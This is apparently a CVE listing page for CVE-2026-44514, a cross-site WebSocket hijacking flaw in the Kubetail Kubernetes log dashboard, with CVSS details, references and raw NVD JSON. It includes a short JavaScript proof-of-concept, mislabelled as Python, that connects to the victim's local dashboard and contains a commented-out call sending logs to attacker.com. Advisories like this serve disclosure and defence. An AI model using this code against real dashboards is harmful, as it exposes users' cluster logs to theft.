CVE-2026-44514

Description

Kubetail is a real-time logging dashboard for Kubernetes. Prior to 0.14.0, Kubetail's dashboard exposes WebSocket endpoints that did not adequately validate the Origin header on connection upgrade. A malicious web page visited by a user with an active Kubetail session could open a WebSocket to the user's dashboard and read their Kubernetes logs in real time. This is a Cross-Site WebSocket Hijacking (CSWSH) vulnerability and affects both the desktop deployment (default http://localhost:7500) and cluster deployments (typically behind an Ingress with HTTP basic auth). This vulnerability is fixed in 0.14.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Kubetail < 0.14.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<script>
    // Proof of Concept for CVE-2026-44514
    // This script should be hosted on an attacker-controlled domain.
    // It attempts to connect to the local Kubetail instance.

    const targetUrl = 'ws://localhost:7500/logs'; 
    
    try {
        const socket = new WebSocket(targetUrl);

        socket.onopen = function(e) {
            console.log("[+] Connection established to Kubetail dashboard.");
            // Optionally send a subscription message if protocol requires
            // socket.send(JSON.stringify({ subscribe: 'all' })); 
        };

        socket.onmessage = function(event) {
            console.log("[+] Log received:", event.data);
            
            // Exfiltrate data to attacker's server
            // fetch('https://attacker.com/collect', {
            //     method: 'POST',
            //     body: JSON.stringify({ data: event.data })
            // });
        };

        socket.onerror = function(error) {
            console.log("[-] WebSocket Error:", error);
        };
    } catch (err) {
        console.log("[-] Exception:", err);
    }
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44514
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44514
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44514/
[4] VulDB https://vuldb.com/cve/CVE-2026-44514
[5] https://github.com/kubetail-org/kubetail/security/advisories/GHSA-v8j7-hp7c-738f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44514", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:23.043", "lastModified": "2026-05-14T18:31:45.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kubetail is a real-time logging dashboard for Kubernetes. Prior to 0.14.0, Kubetail's dashboard exposes WebSocket endpoints that did not adequately validate the Origin header on connection upgrade. A malicious web page visited by a user with an active Kubetail session could open a WebSocket to the user's dashboard and read their Kubernetes logs in real time. This is a Cross-Site WebSocket Hijacking (CSWSH) vulnerability and affects both the desktop deployment (default http://localhost:7500) and cluster deployments (typically behind an Ingress with HTTP basic auth). This vulnerability is fixed in 0.14.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "references": [{"url": "https://github.com/kubetail-org/kubetail/security/advisories/GHSA-v8j7-hp7c-738f", "source": "[email protected]"}]}}